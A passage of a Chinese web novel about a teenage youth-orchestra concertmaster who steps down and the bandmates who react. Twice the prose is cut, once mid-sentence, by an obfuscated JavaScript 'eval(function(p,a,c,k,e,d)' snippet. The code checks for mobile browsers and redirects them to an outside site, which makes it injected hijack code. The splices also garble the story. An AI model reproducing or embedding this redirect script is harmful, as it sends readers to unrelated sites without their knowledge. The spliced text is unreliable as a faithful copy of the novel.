顾梓聿刚刚当上首席的时候才十岁,还是个小学生。一提里都是初中生、高中生,还有四位央音附中的学生,他的年龄是最小的。首席除了要琴艺高超,排练时为小提琴声部制定弓指法,协调整个弦乐部,最重要的是传递指挥的意图,带好整体节奏。小提琴首席就是乐团里指挥以下第一人,小小年纪的顾梓聿要如何服众? 他只能靠硬实力、靠风雨无阻出勤的拼劲、靠拿出一颗真心来对待所有人。 顾梓聿记得乐团所有成员的名字、学校,知道彼此之间谁跟谁玩得好。他认得大部分成员的家人,记得很多人的兴趣爱好、食物口味、假期去了哪里玩。乐团从他当上首席这五年多以来,注册成员达到262人,他甚至记得那几个来救场管乐的军乐队成员,这些人里,他跟每个人都能聊上几句。 而就连吴宏礼吴指挥,都未必能记住乐团里每个成员的名字。 这五年下来,顾梓聿也成长为了真正被大家所依赖的首席。不管是比他小的还是比他大的,哪怕是自视甚高的成员,都真心喜欢他、爱戴他,或至少尊敬他,而这并不是什么轻而易举理所应当的事。 年轻就意味着心高气傲,这群放在各自的圈子里都算得上是佼佼者的少男少女,哪个不是被称作“天才”的存在?学艺术的,往往还要更孤高一些,本就天不怕地不怕,往往连老师家长说的话都不放在心上。可面对这样的一群人,顾梓聿能够拥有不亚于指挥的威严,一个眼神就能够让大家进入严肃的排练状态,能够做到令行禁止,足可以见他在这一群人心目中的威信有多高了。 这些回忆不过是一瞬间的事。顾梓聿回过神来,拭去眼角的湿意,带着笑意答话:“柏老师,我也很感谢您,这一年来我从您的身上也学到了很多东西。很遗憾我不能继续陪您走下去了,黄子栋应该跟您聊过了吧?我觉得他比姜明珺更适合接任首席。” “明珺性子比较随和温吞,恐怕是管不住大家,而且她在专业上的钻研精神也差了点火候。黄子栋的个性外向健谈,虽然有的时候,性格有些…” 顾梓聿把到嘴边的“急功近利”给吞了回去,还是含蓄一点,换了一个稍微委婉的词,“…算是有些急躁吧,但他的专业方面还是很强的,加上他在乐团也呆了很久了,人大概都认识,也镇得住场子。我觉得他担任首席应该还是可以的。” 一年时间,也足够柏指挥自己再培养出一个好用的首席吧?自己亲自带的人,终归用的更顺手些。 想到黄子栋那“严于待人宽于律己”的性格,顾梓聿还是忍不住多补了一句:“大提琴首席张博文也是一个很负责任、能抗事的人,柏指挥以后如果有什么事,也可以分担给他去做。圆号的徐凯军,也很可靠,还有双簧管刘昊然,也很踏实的。” 电话那头柏嘉辉正耐心地听着,但顾梓聿同时也听到了旁人招呼他去吃饭的声音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15360493|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 到饭点儿了。 顾梓聿垂下眼,自失一笑:这句话……终于还是到了要说出口的时候。 “柏老师,您放心,交接的事我会亲自安排好,不会给您添麻烦。时间不早了,您先去吃午餐吧。” 电话那头传来柏嘉辉低沉温和的声音:“好,你做事,我向来放心。” 他停了一瞬,语气感叹:“梓聿啊,接下来的路你就要自己走了,我是真的很看好你,你可千万别辜负了你吴老师和宋师兄,还有我,对你的期望啊。艺术道路曲高和寡,道阻且长,尤其是成为小提琴独奏家的道路更加孤独,你要有虽千万人吾往矣的决心,心无旁骛、宠辱不惊,才能走到最后,知道吗?” 顾梓聿低声应道:“柏老师,您放心,您的话我都记在心里。” 挂断电话的顾梓聿脸冰的发疼,他下意识地一抹,手心湿的。 不知是风雪,还是泪。 原来告别,竟可以这么轻描淡写。 他没出声,甚至连呼吸都控制得极稳,可眼泪就像不请自来的访客,不等他点头,就径直住进了眼眶,然后把门关上,安安静静地流了下来。 他并不是不舍得这个“首席”的头衔,他只是不舍得那些自己日复一日、年复一年洒下的汗水,和那种被需要的感觉。柏嘉辉以为是自己在撑着乐团,可其实,是乐团成就了他,是大家无声地托举着他,才让他一次次坚定地相信:自己是被需要的、是不可替代的。 这对于曾经一无所有的他来说,是多么重要。 风雪没有停,反而更大了,他站在扑面而来的风雪中,像是站在时光的出口,回头望,才发现来时的路,他走得并不容易。 吴老师,您当年教我的责任和担当,我拼了命做到了,我没有给您丢人。 我已经做得很好了,不需要证明给谁看了。 现在,我该放手了。 他把手机收进外套口袋,拉紧围巾,深吸一口气,转身朝地铁入口走去。脚步不快,却很稳,那个少年首席,已经完成了他的使命,接下来,该是崭新的人生。 - 杨诗涵正埋头刷着中考的数学卷子,余光瞟到放在一旁的手机屏幕亮了一下。 她本来不应该看的——平时她做题从不分心,但可能是累了吧,她竟然鬼使神差地扫了手机屏幕一眼。 【您收到一条来自“顾梓聿”的短信。】 她抑制不住地心脏狂跳了两下,马上放下了手中的笔,拿起手机,点进那条短信。她一字一句地认真读着,不舍得错过每一个字。 “亲爱的乐团小伙伴们,久违了,首先预祝大家新年快乐!希望大家都在之前的期末考试中取得了好成绩,也希望接下来的这个寒假没有太多作业,因为我们接下来的排练安排将十分紧凑…” 杨诗涵一笑,能把排练通知写得像唠家常的,也就只有他们的首席顾梓聿了。 她是真的很想他:首席已经缺席了好几周的排练了,再加上期末的这两周排练暂停,算起来她已经有两个月没见过顾梓聿了,这可是从来没有的事。首席缺席的这段时间,似乎大家排练的气氛也变得沉闷单调了点,更何况杨诗涵本来心里就暗暗仰慕这个琴技高超又和蔼可亲的帅气首席,更是难过。 这下收到他的短信,是不是意味着首席终于要回归了? “首先我要和大家由衷地说一声抱歉,由于个人原因,最近一段时间没能和大家一起并肩作战,也没能尽到首席应尽的义务。我知道自己已经缺席了太久,很遗憾地,接下来的冬假排练我也不能陪伴大家。为了不耽误乐团的整体进度,在认真地商议后,柏指挥和我一致同意,由央音附中的黄子栋同学接任第一小提琴首席的位置。” 什么?!杨诗涵一下子心就沉到了谷底。她的手指停在屏幕上,久久没有滑动。手机屏幕的冷光映在她脸上,照着她的眼眶有点发红。 黄子栋,就是那个坐在顾梓聿正后方、每次排练都想“自己来一次”的黄子栋? 杨诗涵完全可以想象,现在黄子栋有了首席的身份,烦人的程度可能还要乘以十倍。他虽然技术很好,可他又浮夸又爱炫技,爱找存在感。一想着未来黄子栋各种在众人面前显摆的可能性,她就忍不住翻了个大白眼。 “子栋的实力大家都有目共睹,他一直在努力,也做好了准备。希望大家能一如既往地配合他支持他,继续守护好我们这个像家一样的乐团。” 杨诗涵读着这段话,心里忍不住嘀咕:黄子栋,真的准备好了吗? 首席可是个服务性岗位,不只是聚光灯下的耀眼宝座。黄子栋技术是很强,但首席,不单是自己拉得好,还要配合指挥带动全团排练、统筹安排协调内外、还要包容大家的水平参差不一,在排练之外帮大家解决技术问题,这些顾梓聿常常做的事,黄子栋能做到吗? 短信的末尾,每一个字都像是顾梓聿亲口说出来的一样,语气温和,却也藏不住字里行间那份郑重和不舍: “虽然我离开了,但我对乐团的感情不会减少半分。我会继续关注大家的表现和成长,在未来,我们一定会在更大的舞台上重逢。” “最后,很荣幸和大家一起度过的时光,不舍此去,也愿前路皆光,于道各努力,千里自同风。” 读到这里,杨诗涵的眼眶有些发热。 那种把责任藏在笑里,把离别说得温柔的语气,是她太熟悉的顾梓聿。 她盯着手机发呆,半晌,手指不由自主地点进了相册,翻着翻着,忽然停在了一张两年前的照片——他们在大会堂演出后谢幕的瞬间,吴指挥站在中央,顾梓聿站在他身旁,一起接过观众送上的鲜花,两人的笑容都还鲜活得像昨日时光。 没想到时光飞逝,一转眼间物是人非,吴指挥离开了他们,顾梓聿也要离开了,难道天下真的无不散的宴席吗? 50.首席首席 时光过得真快,快得让人来不及准备。吴指挥走了,顾梓聿也要离开了。 天下真的没有不散的宴席吗? 排练时,为了让大家看清楚点,顾梓聿常常站着给大家示范,他认真比划弓法时的动作一丝不苟,却又总带着耐心。她记得他眉眼带笑地说:“这个节奏要更清晰一点哦”,“某某你这句拉得太棒了”。他的存在,就像是一根定海神针,悄无声息地支撑着整个乐团的脊梁。 在某种程度上,杨诗涵可以说是一路跟着顾梓聿,看着他、以他为榜样,一点点成长的。 三年前,她第一次走进排练厅时,还不明白一个交响乐团是怎样运作的。而那个时候,只比她大一岁的顾梓聿已经在努力成为一个优秀称职的首席了。他学着承担责任,协调、组织、沟通,领导大家配合指挥,一步步地成为了吴老师和学生乐手们之间那座最坚实最可靠的桥梁。 杨诗涵还记得她刚来时的惶恐无措——在加入乐团之前,她一直以为自己小提琴拉的很好,毕竟,她在小学五年级的时候就已经通过了音乐家协会演奏级别的考试,一直都是她老师那群学生里的佼佼者。 考完级后,杨诗涵有点失去了方向,老师说,反正杨诗涵也不打算考专业院校,十级就是终点了。是妈妈听说了鹿城有这样一个学生组成的乐团,特意托人找到了吴老师,在吴老师家进行的面试。杨诗涵的小提琴水平出乎吴老师的意料——一般来说,新进的学生会被安排到第二小提琴,从最后一排往前坐。可吴老师在听了杨诗涵的琴声后,直接把她收进了第一小提琴。 可直到第一次排练的时候,杨诗涵才明白,乐团和独奏根本就是两回事。 因为是新人,杨诗涵坐在最后一排,一个人。她看着前座熟练地听着指挥的要求,用铅笔在谱面上做着表情记号,而她根本还没看明白谱子。当别人都跟随着指挥棒走的时候,她持着弓子,手足无措,当整个乐团开始演奏,十数个声部的声音同时响起,还没数清楚小节的杨诗涵已经迷失在音乐洪流中。她听不见一提的声音,也不知道大家已经演奏到了哪里,停顿的时长她总是数错,别人下弓的时候她上弓,和弦完全拉不出来。 那个时候的杨诗涵不懂:她的视奏能力,也就是所谓的“拿到一首完全没练过的曲子,能按照节拍和音高进行正确的演奏,并根据谱面上记载的速度和表情符号以适当的弓指法表现出恰当的情感”的能力非常缺乏。其实这也很正常,因为杨诗涵,或者说大部分琴童的学习方式,只是通过上课练习考级曲目,几个曲子反复练上大半年甚至一两年,当然对视奏能力没有要求。 第一次排练几乎成了她童年阴影的顶点:听不懂指挥,看不明谱子,错拍、错音,她像一只掉进深海的小鱼,淹没在声音的巨浪里。 杨诗涵生性好强,想着回家勤能补拙,提前做好功课。可是乐团的谱子太多太繁杂,难度也并不小,几天哪能练的下来?第二次排练前,杨诗涵是秉着头悬梁锥刺股、卧薪尝胆的精神练琴,最后是抱着顽强抗争、宁死不屈的心态去的排练,最终还是被现实打击得惨淡绝望,零落成泥碾作尘。 杨诗涵想过求助,可她太害怕了:从小的优等生现在却变成了什么也不会的丑小鸭?排练对她来说成为了酷刑,可她看着妈妈殷切期盼的双眼却说不出放弃。一提的其他乐手都是大孩子了,他们都是初中生或者高中生,跟杨诗涵这个六年级的小学生有代沟,他们排练休息时聊的东西杨诗涵都听不懂。坐在杨诗涵前面的那两个大姐姐见到了也就笑一笑,权做打了个招呼,不熟的直接错眼不看就过去了。杨诗涵挣扎着,可没有人能帮她,她自己也张不开嘴。 第一个月,杨诗涵完美地扮演了一只把头埋在沙子里的鸵鸟,她准时到,第一个走,绝不多留一分钟,埋着头穿行在三三俩俩热络聊天的大孩子之间,只和两三个面熟的人打招呼,把自己缩在最后一排滥竽充数。看前面的上弓她就跟着上弓,弓子只虚虚搭在弦上装个样子,发出的声音只有她自己才能听到。她心虚地强装出一副什么都懂的样子,给自己罩了一个玻璃罩子,隔绝外界,仿佛这样就能安全一点。 这个时候,顾梓聿出现了。 杨诗涵非常清晰地记得,那是个七天的长假。乐团集训,连着排练五天,从早上九点到十二点,下午两点到五点。 对大多数团员来说,这几天简直像是节日——排练是辛苦,可是大家在排练结束后可以聚在一起玩啊!午餐时间,玩得来的孩子们三三两两结伴出门,排练厅出去大马路正对面就是八中初中部和中央公园,这一带小吃云集:麻辣烫、铁板烧、披萨、寿司、炸鸡烤肉,一应俱全,完全就是这些中学生们放纵的天堂! 平时被家长管得紧的今天也可以放开肚皮,只要回家的时候说上一句“和乐团的朋友一起吃的”,便自动获得了豁免权。毕竟,任何事只要加上“乐团”这两个字,就有了正当理由。家长们只要回想一下他们之前坐在金碧辉煌的音乐厅观众席上,看着自家儿女身着正装、一板一眼地演奏乐器的场景,再翻翻自己手机相册里的照片视频,这些不满就会瞬间烟消云散,转而骄傲之情溢于言表,眼泪都会掉下来。 对大多数人来说,这次排练就是名正言顺的放纵日,可对于杨诗涵,却是煎熬。她这一个月原本就是准时到、准时走,不多留一分钟的。可杨诗涵的妈妈以为自家孩子在乐团适应得很好,听说这次排练中午有午休,笑着叮嘱她:“多和乐团的朋友相处相处,不用回来吃午饭。” 这让杨诗涵一整个早上的排练都坐立难安。 好不容易捱到排练结束了,杨诗涵故意埋着头慢慢吞吞地收拾琴,听着耳边大家兴高采烈的交谈声渐渐远去,她才抬起头,环顾左右,所有人都出去吃饭了,排练厅里只剩下她一个人。她孤零零地坐在原位,无人问津。她一脸颓丧地坐回自己的位置上,鼻子一酸,差点要哭出来。 就在这时,一串轻快的脚步声由远及近,一听这脚步声的主人就是个朝气蓬勃的少年人。杨诗涵吓得立马坐正,泪意都被吓缩回去了,看着眼前的谱子灵机一动,假装在温习似的,还煞有介事右手拿起铅笔,左手翻开新的一页,神色一本正经。 脚步声走近,清朗的少年音响起:“杨诗涵?你怎么一个人在这,不去和大家一起吃饭?” 杨诗涵假装才被惊醒似地抬起头,眼前的人正是首席顾梓聿。 她当然知道他,哪怕从没真正和他说过话,因为顾梓聿名字出现在指挥或其他成员口里的频率实在太高了。但“听过”与“认识”之间,隔着一排排座位的距离:她坐最后一排,他坐最前排,他指挥校音时,她只能远远望见他半张侧脸。他于她而言,几乎只是一个模糊却高光的存在。 近距离相对所产生的视觉冲击不可谓不大。杨诗涵一直从远处看到的,不过是顾梓聿模糊的轮廓,而当现在顾梓聿真真正正站在杨诗涵身前时,那种不可言说的微妙霎时间攫住了她的全部心神: 面前的少年如春风般温柔,清亮的凤眼认真地看着她,微微上翘的眼角带了点笑意。他眼中的光亮温润和煦,不自觉地就令人想亲近。 “我……”杨诗涵看着眼前几乎崭新的谱子,不想让这位首席发现自己滥竽充数的秘密,又编出了另一个借口,“我妈妈不让我吃那些外面的东西,她说那都是地沟油,不健康。” “啊,这样。”顾梓聿点点头,家长的担心也可以理解,可是……他看了看手表,刚刚才和吴老师讨论完早上排练的效果,现在已经十二点四十多了,再不吃饭,下午的排练肯定是要迟到的。 “那你想吃什么?这附近也有便利店,买个三明治…” 顾梓聿敏锐地注意到眼前的小女生脸色苦了一下——不爱吃面包吗? 杨诗涵轻声道:“没关系的,我晚上回家吃就可以了,正好我的谱子还不太熟,中午还能再摸一下把位。” “那怎么行!饿着肚子下午会没精神的!”顾梓聿想了想,眼睛突然一亮,“要不,你跟我去我学校食堂吃吧?食堂里有现煮汤面,食品安全肯定是有保证的!” “学校食堂?”杨诗涵刚想拒绝,可肚子已经忍不住地咕咕叫了。她脸一红,话还没出口,就被顾梓聿拉了起来,“快点快点,不然待会现煮面的窗口也要关门了!” 从排练厅到八中初中部不过一条斑马线,十分钟不到。两个人走在路上,顾梓聿倒是自来熟,先是问了杨诗涵长假作业多不多,毕竟她马上要小升初考试了。 “你作业有不懂的可以拿来问啊,咱们一提的哥哥姐姐都可以帮你解答的。姜明珺姐姐,认识吗?就是坐第三排左边的那个,她外语特别好,你有问题可以问她。” 快到学校门口时,铁门关着,杨诗涵正发怔,就见顾梓聿三两步跑到门卫室,笑着和看门师傅打招呼,几句话后,小门打开了。 杨诗涵怔怔地看着他回头招手,仿佛一切都那么自然。 她知道八中是鹿城最好的中学之一,也听说过顾梓聿在八中上学,成绩很好,可放假期间,他怎么说进就能进学校?就好像……整个世界,都会为他开一扇门。 “首席,现在不是放假吗?食堂怎么会开呢?你又怎么进的来?”杨诗涵一路上第一次主动开口,她实在是太好奇了,像她的小学,一放假就校门紧闭。上次放暑假,她把词典落在了班级抽屉里,爸爸妈妈陪着她回去拿,门卫是油盐不进,打电话给班主任老师也没有用。最后她只能新买了本词典,可也被妈妈念了好久。 首席怎么这么厉害? 顾梓聿自然是不知道他在一个小学生心里的形象瞬间变得无比光辉高大。他笑着解释:“虽然现在是放假期,但是学校里还是有人在上课的,所以我能进来,食堂也有窗口开放。” “现在?上课?”杨诗涵一脸懵懂,“放假还要上课啊?” 顾梓聿看着眼前的小学生傻傻的样子,突然觉得很好玩,完全没有意识到自己其实也就比她大了一岁。 “竞赛课啦。”他带着小学生往食堂的方向去。 “那首席你也要上吗?”杨诗涵继续一脸真诚地发问。 这话就戳到心窝子上了。顾梓聿苦着脸不想让背后的小学生看见,赶紧岔开话题,“杨诗涵,直接叫我名字就好了。” 虽然他确实是首席,但平时大家都直呼其名,突然有个小姑娘左一声“首席”右一声“首席”的,他听着怪不好意思的。 “哦...”她低声应了下来。 直接叫名字吗?可是杨诗涵叫不出来。她总觉得只有吴老师、或者是其他跟顾梓聿很熟的人,才能叫得理直气壮,然后和他亲热地说笑,自己……好像还没有这个资格。 她悄悄抬头看了看走在右边的他。正午的阳光洒在顾梓聿的脸侧,照出他不太明显的酒窝。他笑着,语气温柔,亲切得像邻家哥哥,刚刚好地保持着一个让人安心的距离,给她十足的安全感。 她莫名地心情也晴朗起来。 两人走进食堂,果然像顾梓聿所说的那样,居然正有一个窗口开着,白白的雾气从窗口冒出,走近一看,才发现窗口整整齐齐摆着一溜儿的新鲜食材。 “你看,先点一份面,然后把你喜欢吃的菜点上就行了。” 顾梓聿熟门熟路地拿起自助碗和夹子,边说着边把粉丝、西红柿、瘦肉、米血一一夹进碗里。杨诗涵是真的饿了,也学着顾梓聿的样子开始点菜。 顾梓聿把碗交给窗口阿姨:“阿姨,麻烦您煮久一点啊,我喜欢吃糊一点的。” 窗口阿姨显然早已记住了他,笑盈盈地把粉丝和料分开下了锅。杨诗涵正一旁纠结着是选有馅的肉丸还是没馅的肉丸,就听见有人叫顾梓聿的名字。 “诶梓聿!早上上课怎么没看到你呢?这儿,这儿!” 顾梓聿一听这熟悉的声音,顿时蔫了。他叹了口气,摸出学生卡交给杨诗涵,嘱咐道:“等会儿点好菜后,用这张卡给阿姨刷一下,然后找个座位等我,我去那边打个招呼就回来。” “这…”杨诗涵僵在那儿不敢要,她怎么能让顾梓聿替她付钱呢? “傻孩子,每次招新人我都是要请吃饭的,不然怎么当首席呢!”顾梓聿信口乱诌,看着杨诗涵似信非信地收了,才往那边走去。 刚才招呼他的是一位学长,那边一群六七个人,全是初三生。中间坐的是正好是物理奥赛的辅导老师孔邵东。他人不高,发量稀疏,有点中年肥,看起来一副“油腻中年男”的模样,其实人特别好,从不摆架子,给顾梓聿讲题开小灶是毫无怨言。 顾梓聿走过去,无比乖觉地问了句:“孔老师好。” 这可真是尴尬到家了。原本以为这时候大家应该吃完走人了,没想到这群人动作如此之慢,还没吃完饭,正好在这儿撞上了! 显然孔邵东也没意识到他会出现在这儿。 原则上来说竞赛课是不能请假的,毕竟竞赛课都是老师义务来上的,如果学生想不来就不来,课堂根本就组织不起来。所以,除非学生真是病得厉害请病假,他从来都是不准假的,但顾梓聿这个特例除外。 然而,在这么多学生面前,他也不能显得太过偏袒。于是,他机智地转移了话题,顺势抛出了一个台阶:“你早上是在肖老师那里吧?他跟我说了,说你们要备战暑假的那个信息学竞赛NOI。” 啊,有吗?顾梓聿有些懵,但看到孔老师意味深长的眼神,他立刻心领神会,低眉顺眼地说:“是,今天在电脑教室那边。” “哎哟老孔,你这也太逊了吧?”旁边一个学长乐了,“咱物理组连人都抢不过隔壁敲键盘的?” 初三的学生已经是老油条了,和老师们都敢称兄道弟。孔邵东脾气宽厚,不胜其扰,只能略显狼狈地解释:“嗨,你们这个小学弟,别看人家才初一,自觉性可高了,人家真学起来就踏踏实实的,我对他很放心!” “谢谢孔老师,”顾梓聿受宠若惊,连忙表忠心,“等我那边忙完,一定老老实实待在实验楼刷题,不出实验楼半步。” “那不行,实验楼里还有数学组呢!你得说明白了,选物理还是选数学?”另一个学长也是有爱逗小学弟的怪癖,在一旁火上浇油。 谁能想到,这句玩笑话竟然成了“毒奶”现场。九月初的时候,顾梓聿既没在数学组,也没留在物理组——而是被化学组给截了胡。 “得了得了,别吓唬小朋友了。”孔邵东假装不耐烦,勉强要找回一点师道尊严,“梓聿你快去吃饭吧,都几点了。饭后记得来我办公室,把这个假期的题拿回去做做,不懂的地方回来再问。” “好的。”顾梓聿点头如捣蒜。 起哄的男生一脸煞有介事地推了推厚重的眼镜,露出一副“你完了”的表情:“你可惨了,这周讲电磁,我看你要补到吐血啊。” 电磁可不是初中课程,而是标准的高中内容。即便是他们这些初三生,也刚刚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15364196|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 接触不久。顾梓聿一个初一生,学校的课程才讲了一些最基本的概念,物态变化、光的折射反射之类的。他连力学都是自学的,更遑论电磁? 但顾梓聿只是默默一笑,嘴角却悄悄上扬了一点。孔邵东散发了一个谜之微笑,随即就把顾梓聿赶回去吃饭。 那男生还想继续调侃,却被孔老师一个眼刀飞过去:“少担心别人,先担心担心你自己吧,初三了!人家初一的都把那本白皮的电磁书读完了!” 哗!一片哗然!大家互相一脸不可置信地互甩表情包,还有人陷入短暂的说话障碍。 开什么玩笑,那本程稼夫编的《中学奥林匹克竞赛物理教程电磁学篇》?这里的读指的是不求甚解的那种读吧?怎么可能!他们当中就没几个读过,高中生都有大把大把啃不下来的吧! “长点心吧,你们要是到时候考不过他,暑假就等着被我一个一个练死! 孔邵东没好气地呛了一声:这群猴儿就是欠练! 顾梓聿已经走得远了,但他仍能隐约听到自己的名字被反复提起。他没回头,只是脚步轻快地,在最安静的一隅找到了杨诗涵。她果然坐在靠墙的位置,刻意避开人群,低头喝着汤。 杨诗涵怕生,所以刻意选在食堂的另一头就座,这恰好暗合了顾梓聿的心意。 本来在数学组,大家都是同班同学,彼此之间互叫“大神巨巨”也不嫌害臊;信息组那边更亲近,他、傅尧、彭昱是打小一起集训出来的,方灵烨也跟他们混的很熟。唯独在物理组,他是唯一一个初一的“外来户”,偏偏进度还赶得上、水平又高,还总被孔老师树为“典型”,搞得初三的学长们对他多少有些微妙,欺凌谈不上,生分却是有的。 好在热汤面很快就抚慰了他的肠胃,人一吃东西,心情也跟着好起来。他悄悄观察对面这个新来的小学生,决定趁此良时,开展又名为“社团干部入户送温暖”的谈心行动。 “诗涵啊,来到乐团一个月了,感觉怎么样啊?” 这个问题很宽泛,但顾梓聿要看的就是杨诗涵那个瞬间的反应。果然,杨诗涵表情暗了一下,随后才勉强说:“挺好的。” 看到这表情,顾梓聿脑筋一转就知道问题出在哪里。央音附中的学生平时在学校就有乐队课,所以他们能毫无障碍地融入到乐团里来。但普通的学生哪有这样的经验?吴老师作为指挥,就算意识到了这个问题,却也没有时间对新人一个个辅导。他倾向于把新人直接扔进乐团,就算最开始什么也不懂,在一次次的排练磨合中也会慢慢学到东西。 顾梓聿不能说自家老师不对,但很显然,杨诗涵不适合这样的方式。 “你以前没有参加乐团的经验吧?其实很多人一开始都是这样的,乐团和独奏最大的不同就是,你要去听你的同伴的声音,不单是一提,还有二提,还有管乐,这样你才能够体会到整个音乐的骨架,然后让自己舒服地存在其中,达到和谐。当然了,这种能力不是一天就能培养出来的。毕竟,小提琴是旋律乐器,所以很自然地,我们在学习的过程中耳朵还没习惯多声部的存在。只有多听反复听,才能锻炼你的耳朵。” “你有去找咱们排练的曲子听吗?” 顾梓聿看着对面只懂得点头的小孩,觉得应该要用启发式的问句进行交流。果然,这个问句抛过去,小孩终于张嘴了。 “我,没有…”杨诗涵低下头,低声喏喏道:“我看谱都来不及了。我之前都没见过在一首曲子里节拍还可以变的,一会儿是5/4拍,一会又变成6/4拍。明明是3/2拍的小节指挥却打的是2/2拍,我根本都跟不上。和弦太多我反应不过来,还有调号,我从来没拉过五、六个升降号的!练都练不过来那还有时间去听曲子…” 她也不知道怎么地,顾梓聿不过是问了一句,她就一股脑地全把自己的困难倒了出来,说着说着就停不下来,像是憋了许久的情绪忽然找到出口,语气里带着些许急促和委屈。 “首先,和弦一般都是分声部的,旁边会标’div’,就是分开的意思。三音和弦一般是坐外侧的拉较高的那两个音,坐内侧的拉较低那两个音;双音、四音和弦以此类推,有时三音和弦也会分给三个人,每人拉一个音。如果有这样的特殊情况,我会跟大家说明的。你看,这是不是简单多了?” 看着顾梓聿的笑脸,杨诗涵的脸“腾”一下子全烧红了:这下可好,首席一定知道她之前都在滥竽充数了,她会被赶出一提吗? “ ‘3/2拍的小节指挥打的是2/2拍’,啊,我知道你说的是哪段了,因为那个时候管乐的主旋律走的就是2/2拍。还有你说的 ‘一会儿5/4拍,一会儿6/4拍’,这个也很常见。拍子变化的再多你也不用怕,只要看指挥,就能抓到节奏。” “可我必须得看谱。”杨诗涵皱起鼻子。 “哈哈,没让你直直盯着指挥,谁也背不了那么多谱子啊!你只要用余光瞟,这样,这样。” 顾梓聿生动地表现了一下“用余光瞟”是什么样子,愁眉苦脸的杨诗涵都被他给逗笑了。 “要实在不行你就盯着前面一个人,因为他会盯他前面的,最后就会盯到我身上来,相信我就行了。不过,曲子是一定要听的,这甚至比练琴还重要。曲子听熟了,我们就会有下意识的反应。比如像咱们早上排练的那个,中间不是有一段空了20小节吗?前九个是3/4拍,后十一节是5/4拍的那个?” “咱们要是硬跟着数,很容易就数漏了或者多数了,整整20个小节呢!这时候,如果我们之前听曲子听得很熟了,那我们一下就能知道,哦,这段单簧管结束了就该小提琴了。这不像是做数学题,要一板一眼地数数,我们还是要让旋律、让音乐来带领我们。” 看着眼前一脸苦恼的小学生,顾梓聿笑出了声:“没事,大家都是这样过来的,你慢慢就会适应了。” 他知道杨诗涵一定心里很害怕被批评,所以他压根没提别的事,而是转而向她介绍起一提的其他人,杨诗涵认真地听着。他俩吃完了面,收拾了餐具,又一同走回排练厅。快到的时候,杨诗涵有点害羞,但又由衷地道了谢:“真的很感谢首席今天请我吃饭,还教我这么多知识。” 她心里冒出了一股复杂的情绪,那不是简单的“感谢”,而是更像是对强者天然的依赖与钦佩。 “嗨,不用谢,你是我们一提的人啊!”顾梓聿显然没放在心上。 这天下午的排练,杨诗涵的心态好了很多。排练结束后,她没再第一个走,而是留下来帮忙收拾了谱架,正好顾梓聿经过,又解答了她几个问题,那天晚上,杨诗涵头一次开始期待起第二天的排练。 第二天的中午还是顾梓聿带的她,和自己几个关系最铁的成员吃饭,这其中就包括了一提的姜明珺和黄灿灿。而后的几天,顾梓聿有自己的事要忙,杨诗涵就变成了姜明珺和黄灿灿的小尾巴,在她们俩的帮助下,杨诗涵开始认识更多的人,这个五一长假结束后,杨诗涵终于开始真正地融入乐团里。 是真的很感谢首席啊! 现在回忆起那些时光,杨诗涵已经想不起自己曾为跟不上指挥而偷偷哭泣过。这几年,她所记得的,全是和乐团在一起开心快乐的时光。看着手机相册里那个笑得灿烂的顾梓聿,少年的轮廓俊秀,一手持琴一手捧花,突如其来的感伤击中了杨诗涵。 女孩把自己扔在软软的床上,把脸埋进蓬松的被子里,很快就洇湿了一片。 51.在纽城 处理完首席交接的相关事宜,顾梓聿很快就把这件事刻意忘在了脑后。 他消息发出去的时间,正是帝国时间的午后,乐团成员们大都是即时读的短信,读到一半就被晴天霹雳劈的头晕眼花——只有和顾梓聿最亲近的几个人才隐隐约约有预感,其他人完全没有一点心理准备,大家都没想过这个首席会换人做,就好像平民以为皇帝会千秋万代地统治下去一样。 社交软件上的乐团大群诡异地毫无动静,但各声部的小组聊天却瞬间爆炸开来,三分钟不到就刷屏了上百条消息的那种炸。管乐的倒还好,也就是在群里聊得热火朝天,弦乐就不一样了,尤其是一提,更是哀嚎遍地,像是有人用一长串的感叹号在对话框里开了枪,尖叫、咆哮、哭喊混成一片。有些手速快的,甚至一边刷屏一边打开私信界面,几乎每个人都给他发了一篇长长的情深意切的小作文,有的还分了好几章续写。 张博文正在家里给小妹辅导作业,手机震动了一下。他下意识地掏出手机,扫了一眼。 是顾梓聿的群发消息。 他没点开,而是先让小妹把最后一道题写完,等她跑去客厅开电视后,他才坐在书桌前,静静地打开那条长长的短信。 【顾梓聿:亲爱的乐团小伙伴们……】 他一眼就扫到了“黄子栋接任第一小提琴首席”的那一行,脑袋上的小卷毛微微炸起来。他盯着手机,再认真地读了一遍,确认自己没有看错,这才反应过来,顾梓聿是真的走了。 顾梓聿缺席的时间太长了,即使柏指挥跟他们越来越默契,但还是经常在排练时问“这个段落你们有没有跟顾梓聿确认过?”——他们确实需要一个更在场投入的首席。 张博文轻轻叹了一口气,摸了摸自己的小卷毛,自言自语地说: “好吧,以后我也得多盯着点了……不过你别担心啊首席,咱们不会散的。” 刘昊然当时正在玩游戏,组排等人,手机突然响了一声。他低头一看,顾梓聿的头像跳了出来。 “哟!失踪人口终于回归啦?” 他笑了一下,直接用语音播报读起了短信,一边戴耳机一边听。但越听,笑容就越淡,最后变成了苦瓜脸。 “什么鬼?”他蹭地从椅子上蹦起来,差点把手柄摔地上,“黄子栋?” 队友在语音频道里叫他,他突然没了玩游戏的兴致,直接退出了。 